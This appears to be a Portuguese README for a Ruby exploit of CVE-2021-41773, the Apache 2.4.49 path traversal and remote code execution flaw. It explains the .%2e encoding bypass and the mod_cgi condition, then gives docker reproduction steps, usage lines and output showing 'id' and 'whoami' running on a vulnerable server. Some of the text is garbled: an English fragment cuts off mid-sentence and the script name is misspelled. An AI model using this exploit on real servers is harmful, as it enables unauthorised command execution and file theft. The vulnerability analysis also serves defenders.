
CVE-2021-41773 | Apache HTTP Server 2.4.49 é vulnerável a ataques de Path Traversal e Execução Remota de Código.
CVE-2021-41773 De acordo com o National Vulnerability Database (NVD) CVE-2021-41773, o Apache HTTP Server 2.4.49 é vulnerável a ataques de Path Traversal e execução remota de código.
A vulnerabilidade de path traversal foi introduzida devido à nova alteração de código adicionada para normalização de caminhos, ou seja, para remover partes indesejadas ou perigosas do nome do caminho das URLs, mas foi inadequada para detectar diferentes técnicas de codificação dos caracteres de path traversal “dot-dot-slash (../)”. Para prevenir ataques de path traversal, a função de normalização responsável por resolver valores codificados em URL a partir do URI solicitado resolvia valores Unicode um de cada vez. Assim, ao codificar o segundo ponto como %2e, a lógica falha ao reconhecer %2e como ponto, não o decodificando, convertendo os caracteres ../ em .%2e/ e burlando a verificação.
Junto com a burla da verificação de path traversal, para que um servidor Apache HTTP seja vulnerável, a configuração do servidor HTTP deve conter a diretiva de diretório para todo o sistema de arquivos do servidor como “Require all granted”, ou a diretiva de diretório deve estar completamente ausente do arquivo de configuração. Portanto, burlar a verificação de dot-dot como .%2e e encadeá-la com uma diretiva de diretório mal configurada permite que um atacante leia arquivos arbitrários, como passwd, do sistema de arquivos do servidor vulnerável.
Embora o CVE-2021-41773 tenha sido inicialmente documentado como uma vulnerabilidade de path traversal e divulgação de arquivos, pesquisas adicionais concluíram que a vulnerabilidade pode ser ainda mais explorada para realizar execução remota de código quando o módulo mod_cgi está habilitado no servidor Apache HTTP. Isso permite que um atacante aproveite a vulnerabilidade de path traversal e chame qualquer binário no sistema usando requisições HTTP POST.
module is disabled on Apache HTTP server by commenting the above line in the configuration file. Hence, when mod_cgi is enabled and “Require all granted” config is applied to the filesystem directory directive then an attacker can remotely execute commands on the Apache server.
#Como Reproduzir
docker run -dit --name Apache -p 83:80 b0x
#Entre no container e execute o seguinte
cp /bin/sh /usr/bin/
ruby CVE-2021-41773.rb
# c c wWw wWw -2021-41773
# (OO) (O) (O) wWw
# ,'.--.) ( / ) (O)_
# / //_|_ / / .' __)
# | ___ / / ( _)
# '. ) `--' / `.__)
# `-.' `-..-'
# Autor: Habib
# ruby CVE-2021-41773.rb target_url dir command
# ruby CVE-2021-41773.rb http://localhost bin/sh whoami
ruby CVE-2121-41773.rb http://localhost:83
Target: http://localhost:83 is vulnerable
Command:
ruby CVE-2121-41773.rb http://localhost:83 bin/sh id Target: http://localhost:83 is vulnerable
Command: uid=1(daemon) gid=1(daemon) groups=1(daemon)